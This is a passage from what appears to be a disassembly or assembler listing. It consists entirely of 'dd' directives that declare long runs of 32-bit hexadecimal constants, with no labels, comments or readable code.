		dd 4F184164h, 2066A517h, 0E5BD0CA1h, 45552770h,	85E98BB5h
		dd 0EB92DA5Ch, 2A68DDF4h, 298809A4h, 25F3B679h,	0CA64A744h
		dd 0FCABEAB6h, 0CEE90C80h, 7C777B3h, 2CC57D80h,	6F7CC259h
		dd 68167C46h, 86F31B8Eh, 0BAEB8817h, 9D482FCEh,	5E8E8725h
		dd 0D1B859A4h, 685AD6B4h, 0EF85A456h, 0BC2643C8h, 0D589095Ch
		dd 0F178080Bh, 0A1C8BA4Ah, 3D1B5FAh, 0B4E17470h, 17686116h
		dd 0F5A66F0Ch, 856DD92h, 7E9DDAF8h, 0A55E67D1h,	68CCE015h
		dd 703D5DF0h, 0A89E1717h, 8D9E7AEDh, 7A147216h,	0F30CAD9h
		dd 0FD40D3B7h, 60AA93A6h, 1B68DEBEh, 4CD84350h,	7C716314h
		dd 793401E7h, 5E913CEh,	5F370678h, 944C943Bh, 23DDAA73h
		dd 0C642B1F4h, 79DA308Bh, 8B482EF6h, 0C180A13Ah, 5D25DC42h
		dd 4BC00E1Ah, 0D124594Bh, 1B1D1622h, 0F728B982h, 1C27EDFh
		dd 68451EEFh, 0DAC62ECFh, 4F8406ACh, 40416D3Ah,	64057200h
		dd 0E9F93152h, 0FEEF2D4Eh, 0DD78A0DCh, 0C7808088h, 0DFF69B1Eh
		dd 5495E189h, 3887BCA6h
		dd 606B961Dh, 2748BDE6h, 200B655Ch, 0B1511214h,	20E1D14Eh
		dd 0FCE67A29h, 633B9060h, 99B061EEh, 3E593440h,	7570EB80h
		dd 16C375F3h, 0E92A685Ah, 3FC10C5h, 5DEF290Dh, 88B87AF4h
		dd 0C2D50C6Bh, 635FC194h, 93C1E23Ah, 5819B3E6h,	0F7C3E364h
		dd 3E0AC0C1h, 4BDBCBCCh, 7421ABC2h, 0E83FA09Dh,	0BFE97BBh
		dd 6F61AE7Ah, 66EC3E2Dh, 217D052Dh, 35E9D8BEh, 0EBC1B275h
		dd 0B5DA3FDCh, 257FDB2Ah, 4A83E37Fh, 8FC6FF0Ch,	7F1D20C0h
		dd 7CD6F732h, 0F8310454h, 0DFAC325Eh, 8951DD87h, 340268C1h
		dd 0E9A8607Ah, 53BDAEA1h, 0FE5098E2h, 5943D79h,	0AE5B5483h
		dd 7A46D977h, 0A35C402Fh, 817ED26Fh, 0DA7F234h,	0F9E1D0C4h
		dd 0F1A9B07Eh, 26FD18B5h, 2714B20Fh, 51B16F27h,	0CBCC3A3Eh
		dd 1219383Bh, 8606BA82h, 0BB421449h, 46AF877h, 89E9C229h
		dd 4FBFD52h, 0AAD5D65h,	68D894C2h, 0FBDF5C4h, 29436427h
		dd 5AB2539Fh, 29774A37h, 0F616D7A7h, 4EA42F73h,	83B992Ah
		dd 0C6E48795h, 0BF70FB30h, 1CE0174Dh, 1746ACCCh, 75F8EFD1h
		dd 4C48210h, 4BA76858h,	0A6198CEFh, 0A3F46C41h,	9E39B58h
		dd 36D53408h, 5266170Ch, 0B1796050h, 8409B08Ah,	7CD656E9h
		dd 81088010h, 9B7BF5CBh, 0B879647Eh, 687BC392h,	10557213h
		dd 55274F1Dh, 0C7A1A83Eh, 9DB204B5h, 0D2D1A74Bh, 0E53B23FCh
		dd 0BFC975CEh, 0BB0D6971h, 0F3E05F03h, 2BF50129h, 1EB9CCB0h
		dd 6D2AAA02h, 0C13C2255h, 0C7AD05ECh, 7C86836Ah, 0AC57C33Fh
		dd 8180B298h, 91561BEEh, 10A4C14Ah, 302E771Eh, 0E4391C53h
		dd 41B48A1h, 7A023541h,	0EA2898A8h, 0A7E91308h,	46CF4C1Ah
		dd 1E2E6A8Ch, 4F0B4D99h, 9F9164F9h, 0BBCF9B0h, 3DFE2BFBh
		dd 28F86E9Eh, 4203012Ch, 5C04D095h, 887E76B5h, 66BF44BAh
		dd 61CAA1C8h, 7A552FEh,	0EC2B7AEFh, 0E02CC52Ah,	0B4CB39Ch
		dd 30620F98h, 7569EDDh,	19088140h, 4A5D533Dh, 0B170FC87h
		dd 5F72CF02h, 971EEE4Fh, 52EB40D7h, 7ECCA1AAh, 0EF4CA8FCh
		dd 5EA4B44Fh, 0D0EF8929h, 0D61D3109h, 0ED0C624Eh, 659880C6h
		dd 0F5208A7Bh, 5A5F2820h, 579405CAh, 8956512Eh,	0A8F184h
		dd 176E4B68h, 0EC5B9208h, 71634C5Fh, 0E962ECF9h, 2631674Dh
		dd 1E0249ADh, 0E32ADD24h, 0DEC3F16Dh, 83BF1C82h, 6B40D353h
		dd 541DF7CFh, 84BA3FCEh, 63FA796Ch, 92048C2h, 52AC897Fh
		dd 895D1661h, 9A3F302h,	9123F3E9h, 0B2FFC881h, 935EC06Ah
		dd 6F3E285Fh, 623F05CDh, 0BA89DA3Dh, 0D12DD48Eh, 66CEEDA0h
		dd 40480E65h, 43EC065Ah, 6F865193h, 0DC6123BEh,	6E1C5B56h
		dd 97E874E0h, 0E6884B82h, 0EE23DF90h, 10FCC181h, 28C87A31h
		dd 0F21DFA3h, 76687D93h, 2D03A8B3h, 8702FDB8h, 66FDC329h
		dd 21E926ADh, 84CB2D2h,	0C71F3B40h, 803B4781h, 3ABB5307h
		dd 64F83E00h, 4542E381h, 834A50CCh, 270E14CDh, 0C606AF1Fh
		dd 0C298B74h, 9506B20Ch, 4A034248h, 3CE48356h, 0E94D609Fh
		dd 0C3C7FDC5h, 668307EAh, 0BE7402E5h, 497B6778h, 0A74CFDh
		dd 7EDE7D6Fh, 8827F825h, 6AE93B09h, 27B8E50Eh, 0F7D9B2D5h
		dd 8A905F14h, 0E7759A09h, 0F45C4Dh, 94C300Bh, 0E569D9E9h
		dd 144ADD98h, 0E0310688h, 607D34B8h, 0D0AB324Eh, 0B7350206h
		dd 3367E016h, 16AEEAB4h, 0D922AC29h, 0D3E2173h,	43953F0Dh
		dd 40BCCEAEh, 7C7A0FC1h, 32F9195Eh, 6335F207h, 0A402AF32h
		dd 935E2A74h, 6930C600h, 17E94350h, 20FEBCB3h, 2E4732D8h
		dd 4F687B09h, 62B55E06h, 9574183Dh, 0B60F2A60h,	0E281383Bh
		dd 378760Eh, 7ACFCAC0h,	42131390h, 36535FE9h, 995ED6ACh
		dd 0FFB87B9Ah, 8CE292h,	3E6D2A76h, 0E8AE681h, 0D11E6072h
		dd 0A2500FD2h, 29E93AF8h, 0BB43154Eh, 0ECF5201Ch, 0DA983580h
		dd 0EE134ADCh, 38C2E9C0h, 5066605Dh, 9702B6EAh,	96E50C5Bh
		dd 801C0806h, 552EE914h, 0D22F88CCh, 2AE84E83h,	680740BDh
		dd 53BF79A9h, 48B2E95Eh, 1385F732h, 230993Bh, 0A1634D46h
		dd 6BE92EC0h, 0C34A0500h, 0C159CF31h, 300760EFh, 48122822h
		dd 0E1690CC0h, 5689345Bh, 98588FFAh, 20F64111h,	0C860252Ch
		dd 6AFFFE6Ah, 6682DF3Eh, 0EB0E84B5h, 491ED6C5h,	2A3827E9h
		dd 0AE4F73B6h, 4AF0DC5h, 0E83B8004h, 0A29D8960h, 5FF02128h
		dd 5DA519F3h, 31087131h, 60D0C92Fh, 6880E585h, 90439FD3h
		dd 895F63D1h, 59C7215Ch, 8DF49BAh, 7202F03Ch, 0D73A06D8h
		dd 39BA2FAEh, 99FA7E43h, 0FC6FB956h, 0BA50B116h, 41E45BACh
		dd 0F75312A8h, 588EF33Ah, 1B711203h, 0B5E0F9ECh, 0F50B801Eh
		dd 46EF3056h, 7BF7F612h, 4FF86B06h, 6AB0E00Fh, 0F70177B4h
		dd 23135690h, 0CBC4F131h, 89280279h, 7058E9F8h,	0F2F24655h
		dd 520BBFB7h, 57A5A3C7h, 4FD36D93h, 5BEBB11Fh, 0C36C25Eh
		dd 667724F8h, 6F280033h, 0D1410DC6h, 65E1FCF9h,	2AAF4C1Dh
		dd 0F49004BCh, 5BAA30Fh, 0FE5E6839h, 1CD3FA67h,	94A86FBh
		dd 3F8D22EAh, 26B07Eh, 811732Dh, 680490CBh, 5BA3450Bh
		dd 4E9AE110h, 0FAEB282h, 0FEB03262h, 67CD5957h,	1C38D0F3h
		dd 7CC15011h, 35653236h, 133FB480h, 0E1C17A19h,	5BB064Ch
		dd 8E41C667h, 99A1C2AEh, 3608AAABh, 0C9984AF5h,	99EAA3DDh
		dd 1281717h, 401C16C1h,	880BB785h, 0CCEE5BFCh, 86C4801Eh
		dd 4BC47C25h, 6104506h,	0E8F0015Fh, 6BDEBE9h, 0FECA58BCh
		dd 0B266E8Bh, 0BE5D9694h, 0ED6E452Dh, 19DA04AFh, 15832096h
		dd 0C40D5BD6h, 0E920F007h, 940D865Bh, 0C17A4729h, 3EB1016Ah
		dd 63085392h, 99ABACD3h, 0D211A735h, 9B3B11Bh, 49D9FFE1h
		dd 27BFC243h, 0B9FB5916h, 0E7E6FB0Bh, 0FC792F4Ch, 596EEA80h
		dd 37E90380h, 6961B1DBh, 0DF652975h, 0A1687248h, 0BB311B5Fh
		dd 2B4857BDh, 0ED583F7Fh, 0D8A9BD78h, 0CB01CAD9h, 1E152FD4h
		dd 13061820h, 86AEF2Eh,	1044C86h, 0B8BF2DF8h, 0FD0525EDh
		dd 0BFD4F7C3h, 0D95201BCh, 0ACBA910h, 0BE8285Bh, 2CE0108h
		dd 5041AEBAh, 2EE3B461h, 0DEFE7E84h, 0F8B8163Dh, 46F40A89h
		dd 0B04C9A6Ah, 48F125AAh, 3F56055h, 11199F01h, 0BD4581ECh
		dd 62F436CCh, 0C3867AE8h, 28BCBB24h, 78F757DAh,	0B04B72A2h
		dd 0B14E13D5h, 172804BAh, 6EE614D4h, 0D2520F4Bh, 41F0F1BEh
		dd 617CD0A6h, 0C6E42AF8h, 80219659h, 69B55F9Ch,	669F5429h
		dd 80C8277h, 5A172114h,	34E67408h, 0A6F8BB66h, 80752041h
		dd 0BFF4846Eh, 2EA90AA8h, 6AB329FAh, 0DBC4D664h, 5F6DEEC2h
		dd 0B282ECD3h, 7FD3288Eh, 0E916A56Ch, 0CF5CFF5h, 0A7DF62DCh
		dd 7A73EE2h, 2D488400h,	0CA2593A2h, 0EBE07FB0h,	650231CDh
		dd 0ACE92752h, 0FC9DA7Ch, 60045C29h, 0E938C664h, 37FB5F48h
		dd 34CFE21Ch, 281209D1h, 40B0AFB4h, 0DC955AADh,	36EE0243h
		dd 3EE02D54h, 0FD125553h, 3C80D101h, 487D4912h,	160637A9h
		dd 1E68476Eh, 2508C6D0h, 17B8755Ah, 0F0B2015Ch,	931E7931h
		dd 7A81DD29h, 0E564D2BFh, 1EFE6960h, 0A94591A8h, 2CBAFE01h
		dd 5E48F0CBh, 0C1BA9605h, 81DAE915h, 0C069B4FFh, 0E07E05ECh
		dd 11E680E6h, 3276CCE6h, 96F970F9h, 0C65B2DCEh,	588F383h
		dd 595320BEh, 4B54A075h, 0C1257968h, 0D34C163Ch, 52C2CA9h
		dd 0FDCF39AEh, 0C29C046Ah, 80EFE272h, 199EE9F4h, 0B57274B5h
		dd 38DF04C5h, 8F5BF34Dh, 0CA3CE452h, 0E5E656D0h, 210F3D61h
		dd 0BDCB0C92h, 804F27A7h, 0F6814E39h, 7E2018A9h, 491C0C4Ah
		dd 0F8476425h, 1E4B3Dh
		dd 3482687Ch, 0E1970638h, 5A0009E7h, 210FE581h,	9E799E4Bh
		dd 0B218A298h, 0F28012FBh, 0CA06FBFEh, 0B704292Ch, 0C635054h
		dd 77ABCFF7h, 680718E5h, 7F0B6A92h, 290AADEEh, 8CDEE9C6h
		dd 5A881FBFh, 5E0B9AAEh, 2056664Eh, 1285CB4h, 2F2D9AC5h
		dd 855E92D5h, 0C2851F76h, 75B9A249h, 5C772ACAh,	82D5251Ah
		dd 0A433E939h, 70FE899Eh, 152ABF80h, 906D8E2Eh,	0E66E2000h
		dd 48CAE961h, 0CB9DCE4Bh, 1CDF2C6Fh, 0CB749538h, 65E91254h
		dd 8BE3AE13h, 0B3141016h, 94F94FF1h, 0C4A0A272h, 5394865h
		dd 0C717C580h, 3490B264h, 2598F49Fh, 5B2251F8h,	215A2745h
		dd 75C61A55h, 0B4B7AC22h, 2C9DB348h, 8411BE32h,	6C4DDF9Ah
		dd 0FB9AFD2Fh, 0DD685481h, 0C4F66803h, 104770Fh, 8429E2D3h
		dd 4FB150E9h, 9B2F613Ah, 68AE48A6h, 0B50A342Ch,	874D0DC0h
		dd 559FFA17h, 0BC2B0D5Fh, 8A67852Dh, 9BEE3ED4h,	1FC85B1Dh
		dd 8647B073h, 7FAA8244h, 0D517A1E7h, 25406F08h,	0F33AE0F7h
		dd 0E5DBE7A0h, 0D5C30900h, 76CBB050h, 0B5587028h, 782E9840h
		dd 0F6F14EB5h, 0CD9F5AF8h, 64CFE52Ah, 0AEB805CDh, 0C13D1904h
		dd 0FFC206E0h, 2040F2ABh, 7C9D8952h, 8D471ECEh,	2F20B38Ch
		dd 9446292Ch, 34D72F66h, 85969770h, 71C226BEh, 9185785h
		dd 0CCE0B305h, 59E80B4Eh, 3C5E0740h, 35DE6855h,	85D5800Eh
		dd 0BD903D10h, 2594AB5Dh, 0BB7DC59h, 0F166796Eh, 3D0CF30Ch
		dd 0B6A2F822h, 0F099273Eh, 233B21h, 0C1F702AAh,	0D4999B43h
		dd 845D8777h, 0DA290E98h, 0AEAFF3E5h, 3579ECE2h, 0B11227D3h
		dd 1FBF2E7Ch, 5EF78BB7h, 6E9CE81h, 3E233598h, 290BC5BCh
		dd 0AC0959CFh, 0EFD4E9F5h, 58EFE83Eh, 0D14E25B2h, 0A52D4AF5h
		dd 86583F5h, 0A227844Dh, 2A57F644h, 180E6438h, 55E7C06Bh
		dd 0E8609272h, 2CDD02BDh, 0EF313DC5h, 40A4A74h,	0B644F7CDh
		dd 0FFC60482h, 327C3CE0h, 8AF8555Eh, 916DE0ADh,	0F3887CC2h
		dd 0DE5C5F5Ah, 9A5480C5h, 6ED22471h, 1CF92816h,	410D675h
		dd 27F4358h, 560DC068h,	3296F07Bh, 736E724h, 6049761Eh
		dd 8A95C0Ah, 20134BB3h,	0C07204ABh, 36A887EEh, 0BD507002h
		dd 1CBF60C8h, 57AD81BBh, 0F3845539h, 4B06ED50h,	296104ABh
		dd 8C2CAEDFh, 0C941CCh,	167EE1B6h, 0ED004390h, 0A7BF7C44h
		dd 815CE4E9h, 8A286E5Dh, 0F554BF5Fh, 8492EFCAh,	40AFD957h
		dd 46190DECh, 0E648C134h, 0A202D6Dh, 0F2A6D35Bh, 74BE3E0Bh
		dd 61EBC266h, 18AB5A05h, 21BCCE9Dh, 0AC0F153Fh,	549FB787h
		dd 606ECC7Bh, 3294350Eh, 48252589h, 0E00B0154h,	0F5828607h
		dd 9E9E9870h, 44DAA7C7h, 57A9BF27h, 7B6CFC39h, 0F1E92430h
		dd 4DE5BDE5h, 0E8431B13h, 0C2F1295Bh, 68AD498Bh, 0CEEF84EFh
		dd 6F210943h, 56ECF51Ch, 0D95FA082h, 9B47B99h, 91F17F13h
		dd 0DE82519Ah, 2BEB8109h, 21B31A5Eh, 5EAF2FB0h,	0CBCED8C8h
		dd 3613F3C2h, 17B837E8h, 2CE07B4h, 0A1A049E9h, 0E64CBDBAh
		dd 0D2F70F12h, 4A303EACh, 5A0D7146h, 4F7BC958h,	4177F69Ch
		dd 0F4F3E9FCh, 4FBC88BBh, 8612CEA4h, 151315FDh,	0E431FAE3h
		dd 0AD2B502Ah, 2997C433h, 0C38B5C0Eh, 51315300h, 7DB03DD5h
		dd 16D7FEC8h, 9EEFC5Ah,	0DEE828D0h, 4A26BBh, 80C5B450h
		dd 0E917ADE4h, 4333A2E6h, 0B353F866h, 35489032h, 88F6D5FAh
		dd 0E6414618h, 0D377BC3Bh, 2AF92EEh, 0AD56AC0Eh, 0FDB400D9h
		dd 45535507h, 320E3352h, 3C6C642Eh, 56444107h, 98495032h
		dd 0FC544E0Dh, 0A54E34Ch, 0E985013Fh, 686EA0F0h, 16A0B112h
		dd 0DE41D202h, 346640FDh, 3715C8A1h, 24A26F42h,	0A3B6212Dh
		dd 24102312h, 81989A4h,	0FA5443Ch, 22B94284h, 0AF2D0005h
		dd 0F2E1BE10h, 9C0079CBh, 56338536h, 0E83A7Fh, 9FF1CC0Bh
		dd 795E5266h, 15F24400h, 0CEABFDBCh, 63B5000Ah,	196B5086h
		dd 7F00850Dh, 58088799h, 0F2CB2ADh, 0C9EBE255h,	0AA02AEC0h
		dd 92039553h, 0D1FDE413h, 77639270h, 2222440h, 0F057E500h
		dd 441127C8h, 7D290092h, 0D7B2F625h, 9100BF1Fh,	0E52DD13Fh
		dd 0B50B8DFh, 714E37D3h, 116B00F7h, 3E329705h, 0CD811BA0h
		dd 37F430E7h, 0F33BDCFBh, 6BF8ED1Eh, 4D2A3DC0h,	1D893584h
		dd 80519931h, 3A176952h, 41001F9Ch, 58A50EA4h, 5B23311Bh
		dd 0C389C065h, 5406A619h, 0F615C77h, 0ECC9006Bh, 0A17ED0E9h
		dd 35008736h, 0E3F4BCFCh, 0AB88DAh, 64419326h, 1CF94B74h
		dd 0AF01BA00h, 2F151BA3h, 4396A088h, 12E10548h,	4BF7C4h
		dd 31171D72h, 513BF1E8h, 0EEBB45h, 0E68682E2h, 0EA38A57h
		dd 40993D48h, 80C86020h, 9A0125B3h, 6E4D8552h, 86D82F3Fh
		dd 5F12007Ah, 595CCBCFh, 80315C1h, 51373DCEh, 65803BA4h
		dd 8131E680h, 0CD6CDD12h, 98573500h, 3B3EA587h,	0E2432D51h
		dd 9646E200h, 0FA00D729h, 0B592E4D9h, 4C9E1Dh, 153666Fh
		dd 0B80AB324h, 77397F01h, 2E0B5D60h, 0C45A20h, 7CCEF1E7h
		dd 3284379Fh, 989E260Ah, 0C68483B2h, 3E2364CBh,	13DB23E8h
		dd 5F5445ECh, 0C5FA7384h, 0E04ADF6Eh, 0FDC216F3h, 0CC360065h
		dd 0F8A417BFh, 0D101ECEBh, 4D0DF125h, 42C0146Ch, 0F3E200AFh
		dd 93C21AC6h, 0EE043E27h, 53C0FEEDh, 0D7D193h, 17ECA57Dh
		dd 0E0390740h, 0DDA94500h, 0F4C81F86h, 0C37E97h, 9C2A4E8h
		dd 754C51F2h, 39FFB81Fh, 2E5DDA40h, 7708B323h, 0F6C18B6h
		dd 5BF3CEC2h, 3B0D1309h, 8073097Eh, 0EEEAB761h,	0A77F07D1h
		dd 0F61E70D0h, 2C7D689Ah, 4A558400h, 7785318Eh,	0CEBFA923h
		dd 439048h, 0B4605D76h,	0B5232D5Ch, 0BBC10906h,	6210A8h
		dd 0AB0EC794h, 0F478A7FFh, 0AD84CC1Fh, 0D4D12C80h, 4F389F48h
		dd 0A6BC85h, 9CDAABAh, 29D6AB2h, 0D2DA8635h, 41D5E6CCh
		dd 3ADCFABFh, 1FFB000Bh, 45905DB1h, 702CC874h, 6001CEAh
		dd 0A3F01858h, 0F38B002Eh, 0A02AA5ABh, 30FA5DFAh, 0BD1BE800h
		dd 5D3B002h, 60E00BAh, 6762FE2Fh, 33E8CBC2h, 0DAE281Eh
		dd 90FCCAC1h, 25E81D38h, 427A97A7h, 0E5B48h, 0CD1F9E35h
		dd 0D9E2F0h, 8E2BAA87h,	45785F3Ch, 0FEBAF300h, 469825B2h
		dd 51680069h, 9B622FFh,	0FC00DAB7h, 0D9616DBFh,	9089EDD3h
		dd 601113Bh, 6A77C09Fh,	12A24E6Bh, 4EAE949Ah, 4DE0C237h
		dd 7E8B3786h, 0B7635800h, 949AD5Fh, 3C501DA8h, 0E9AECC1Eh
		dd 6412122Eh, 321CF002h, 884CE36Dh, 34A1715h, 7B832F8Ch
		dd 5D3B8F75h, 0B4E381A3h, 0F8D92DA9h, 0BDD320h,	0FF6D7925h
		dd 393F074Fh, 835349h, 704D8A67h, 14A3A9D8h, 0FA3B3A9Dh
		dd 6B4812h, 0B74FA7C3h,	1B0F8965h, 7E252B73h, 9A5DF940h
		dd 0C928C3h, 6AF1CEB9h,	0E38FB73Bh, 0F6BA9D00h,	0A5C75E19h
		dd 77EE00E5h, 0E7F2C5DEh, 8A302710h, 6F9A320Ah,	5C8B09B5h
		dd 0B36081F6h, 6F421EEh, 0D3025A09h, 0BEC90ECh,	573D3343h
		dd 0BDB96BB5h, 88F1A4D7h, 0C55D8580h, 4D94A67Dh, 0B53DAC22h
		dd 99061Fh, 0FE040A39h,	0DECC23B3h, 90BDEE81h, 0D1580086h
		dd 144337EAh, 3074CE3h,	0DE32D36Bh, 1587B055h, 951FD81h
		dd 80E0DCF4h, 9E004A72h, 347C2492h, 0B0FC392Eh,	0FB9ACF07h
		dd 7A5EA800h, 5B54AD45h, 0D5E985F0h, 937DD8A4h,	93BA60EEh
		dd 0AB14C801h, 66577C59h, 509B37D8h, 0E49020h, 31A683D5h
		dd 0B7013A8Ch, 0DFDEF902h, 4821B08Dh, 54506F4Bh, 4B49AFEh
		dd 341A20A8h, 4847808Bh, 1291E64Dh, 88F60038h, 0C2C890D8h
		dd 609EAADCh, 3939991h
		dd 0E2D7FECBh, 87EA6FB3h, 72F0BC0h, 49F2BF3Bh, 912E048Fh
		dd 4280D8E5h, 0EB73F2Ah, 730B4995h, 0C06B7884h,	9FAD97F0h
		dd 3F220h, 0C719A636h, 82D4E9EAh, 0B12DA524h, 0F1437680h
		dd 0FAC314h, 67496FA8h,	1EFB4D70h, 0D7CCB360h, 6CBE01h
		dd 2274478Fh, 0A2888E16h, 0BBB6DDC2h, 40B54A54h, 24C7F4C7h
		dd 401F2E98h, 88348B4Dh, 0AD5D7B05h, 0E1079524h, 0D62177DBh
		dd 8160B67Eh, 5C289202h, 25024D85h, 4D13E2FDh, 0E6A414E0h
		dd 0AB161513h, 0CC7ACD01h, 0C1202E9Ah, 0FD132066h, 877D40h
		dd 0DEF80332h, 0B72531DDh, 3C815200h, 99E87990h, 0B2890C09h
		dd 0E7AC8F27h, 3B81A00h, 8CD0FF57h, 496A489Dh, 398BB300h
		dd 0CC79D180h, 79A05E4Dh, 4FB08260h, 16B48149h,	13E8E91Fh
		dd 89AC0049h, 0B6625B7Ch, 97C65E05h, 7DD20853h,	0B98160D6h
		dd 0FA9502ADh, 650977FFh, 0A6F003E0h, 4061000h,	8750363Ch
		dd 0E964EE31h, 0FED56DD8h, 0B2FA0322h, 86FEE4EAh, 0AE121E3Bh
		dd 0D7051DBBh, 0D780DF27h, 1E0C24C1h, 1A6EE16h,	9F76BEFDh
		dd 3B58E489h, 50B1C00h,	0C45C31Fh, 139033h, 7F573444h
		dd 0B7B95E3Ch, 6A0B3D98h, 0C1DA7280h, 52604EF0h, 0BD1EEDFh
		dd 15BD9AECh, 5B5E93A0h, 0AB192C09h, 7FB4C012h,	133670h
		dd 0CC1E9B36h, 84D6E9EFh, 982FA724h, 0A0A62E03h, 1880B4BAh
		dd 16CD3CEh, 0B1F9A513h, 208829ABh, 4D2E7572h, 87906005h
		dd 3BA00E8Eh, 38E0639Dh, 34B6C101h, 0BC765C62h,	0C08A249Dh
		dd 13EA32CAh, 64014885h, 7C823592h, 229DBB96h, 0BA9AE8AAh
		dd 0FC09006Dh, 1E03E1DAh, 3E06A4BFh, 5D212F19h,	11CB02FBh
		dd 547F5CAEh, 1E981F50h, 0E1F4D100h, 2EA986D8h,	43D008Fh
		dd 0E2DBFCB4h, 1E0EB390h, 376C499Bh, 0B2974Bh, 1D23AB4Eh
		dd 8A8D6137h, 4EE9504Bh, 9E38007Dh, 1CF3CB1Dh, 0FB970030h
		dd 0E58AE1DCh, 0C20110C6h, 283261F9h, 123013BBh, 152DB0D8h
		dd 0ADB8A8AEh, 0C9FE03Ah, 9DE541FFh, 9DE9CFD5h,	88C0FD1Bh
		dd 0D7417049h, 0A2350090h, 80EDC91Bh, 0B33B8AD2h, 81A400C5h
		dd 0ECF22193h, 56E830E6h, 48F41C3Ch, 3863B4Ch, 9EA46C74h
		dd 0CC1D3BB8h, 0D5307584h, 1EEBC101h, 32189D57h, 432072C0h
		dd 0F7C2893h, 0FADE812Eh, 4BDCA9A7h, 838E8420h,	200E6853h
		dd 0A1A58949h, 74A3D503h, 24F8220h, 8057246Ch, 1BC0913Dh
		dd 440793A0h, 0F75BCD79h, 6AC3A125h, 0F5250034h, 0A6335D1Eh
		dd 0FE00A0E2h, 6A1765CFh, 2CA7E3C7h, 9A4A8Dh, 1847745Eh
		dd 630C3008h, 109F4B6Eh, 0F3CA3E0Dh, 6C9E3A86h,	0EE075D67h
		dd 0A52EA42h, 28563C41h, 0F4E3DE80h, 0FFC51DC9h, 30F7181Ch
		dd 0D8424840h, 26A71140h, 716379Ah, 51F208C9h, 0E82F5F16h
		dd 713F1DB5h, 961B8F5Bh, 0E236001h, 675A4046h, 706E5A9Ah
		dd 0F2CB0C17h, 0F1C8A001h, 96C92B18h, 43432E1h,	402AD2B5h
		dd 9526B004h, 6B00A3E9h, 44EE191Ch, 4CE0A2h, 1D06728Ah
		dd 114D73E3h, 14C425h, 0E0BD0F1Bh, 19C530F6h, 6CD0466Bh
		dd 0C0162E00h, 40DCB3FBh, 4213FB7h, 365F0D0h, 98AE4E88h
		dd 63CB4930h, 9D20B7E8h, 199F10Fh, 33DB6055h, 396E5EBh
		dd 6C166F6Dh, 0A8A0F244h, 0AA00B0F8h, 1C84EC3Eh, 797A264Eh
		dd 0BEA43D72h, 0D23BA63Dh, 66707B80h, 3F450D55h, 1AED5933h
		dd 616B86Dh, 5B57072Eh,	0D0C21AAFh, 620EAD29h, 25023290h
		dd 75F0BB2h, 7650D8h, 3036FE06h, 1CA72C4Ah, 0C3FE5E77h
		dd 4F47DE0Eh, 0FE9C001Eh, 2B9046h, 0A33401D9h, 0C9166E1Ah
		dd 4B00F00h, 64727DACh,	9EAB2957h, 0F95D31E6h, 0FD2E60DCh
		dd 78791901h, 0EB0141E3h, 35820C4h, 92486C52h, 0D2B8801Eh
		dd 0EDC47ECh, 0F8000E24h, 6713A62Bh, 0D0E0000Fh, 5B28E3F3h
		dd 0BB30417Ch, 0C1E92DD5h, 6F7D1229h, 0C661C014h, 2B144017h
		dd 58BBCA1h, 0E46A5056h, 0B97E8783h, 0EFE88FBEh, 0F5CA0012h
		dd 219A3C49h, 70006875h, 3B96A34Fh, 48C5D27Eh, 0F22E0212h
		dd 1F2C051Eh, 4A7F80B6h, 87073388h, 0B864597Ah,	0F5746862h
		dd 0C278478h, 0BD457D24h, 276ED0CBh, 2F7E47CBh,	893B25C7h
		dd 7428F028h, 6B9A3B22h, 13AAE903h, 0E8E4972h, 61824C03h
		dd 3CE89B6h, 0D76C62Ch,	0C045BCFh, 34BA2095h, 5A9A7CEFh
		dd 428F560Bh, 77A94C08h, 1775958Bh, 0D55F8B4Fh,	0EF172E81h
		dd 3B8C4137h, 34720A8h,	0E007FD90h, 4A2DBD8h, 4B07407Eh
		dd 18890E66h, 4F10E85Ch, 8F0013BAh, 0AA7FE1B6h,	7C25946h
		dd 3DD62F36h, 0BB66D0BFh, 5A0A8A40h, 0B1EDF380h, 0C6AA208h
		dd 2470CE8h, 0A1622F03h, 0A887048Ah, 1F4E89C9h,	0B0800F23h
		dd 585B5025h, 10ABF48h,	0EF811C74h, 0C803776h, 8B06CF80h
		dd 0F5C600Ah, 0E935630Ch, 980B0011h, 0A66BA53Bh, 0F5071053h
		dd 8E779A70h, 808F0DC0h, 0D061500Ah, 0A4D104B1h, 0FBF08B57h
		dd 87351BC0h, 0C40BFA3Ch, 847A444Bh, 0CCA300B3h, 0E0C08DFh
		dd 88EC3CC0h, 56667F4h,	897441B8h, 381C400Ah, 0D33A316Fh
		dd 57E07502h, 0D75B1563h, 0BE664C01h, 6075FA03h, 4B850FE2h
		dd 0F62DA496h, 0AD5BD400h, 12B2ED58h, 85040083h, 285D4095h
		dd 34F08926h, 688963Eh,	7C6C1225h, 6E833C08h, 0F8C1921Fh
		dd 218B9799h, 0FB6BD0EDh, 311B860h, 0D0215842h,	353C1CC8h
		dd 11286C98h, 460D6384h, 812D8992h, 0AEC33E44h,	0A5110138h
		dd 0AA13B850h, 7C25001Ah, 0E4A10C3h, 32499915h,	0A5233702h
		dd 504ADF90h, 2DC80640h, 109844FBh, 19BA8900h, 9B750A97h
		dd 7911B887h, 11E0CF62h, 27C5A5h, 0D8E86584h, 3F615D08h
		dd 170D5110h, 0F9BA8180h, 0E62C939h, 1649481Dh,	56AE013Eh
		dd 117D08A7h, 0C12E35FCh, 25AA9138h, 0F04D61BEh, 0D3F08D54h
		dd 0FD108560h, 18160A1h, 6E57DF40h, 0E304C855h,	78E0B1ABh
		dd 5A7CDA5Bh, 14835628h, 79523Eh, 9D2549C6h, 0E98B5A43h
		dd 50A862ECh, 0A39CFCFh, 2E798318h, 3FE508ECh, 0D32B9980h
		dd 10D2B057h, 6229133Bh, 9D5B90h, 0DC3E209Fh, 3892800h
		dd 87DB6DF9h, 21F361E2h, 611BF712h, 11200F71h, 0AC90D92Dh
		dd 76B6809h, 20240027h,	998DE1D5h, 8587360Ch, 0C0180869h
		dd 0D57B4A21h, 0BA1A8DF0h, 1588CFFh, 160D56F8h,	0DD32C050h
		dd 9B7F03C7h, 932928D7h, 2C6308BEh, 0C8D55421h,	0E6C1EC0Dh
		dd 2B0B0310h, 0DFD0FC85h, 9C8042DAh, 0A89BC28Dh, 83F460D1h
		dd 0C9128F47h, 2C2428ECh, 466F0545h, 0A7EAE61h,	98F4A6F0h
		dd 676A2140h, 30BF4600h, 6E72BE1Dh, 0EDA411AEh,	95640039h
		dd 748EB40Ch, 3805000Eh, 0A6A7DEEh, 0EA00B8C3h,	6D4D7201h
		dd 0B0138Dh, 0E786CD5h,	0A716A6CFh, 1F66FF3Bh, 10876AF7h
		dd 2354B983h, 0DCA66080h, 0AADE126Fh, 386C046Bh, 230E054Dh
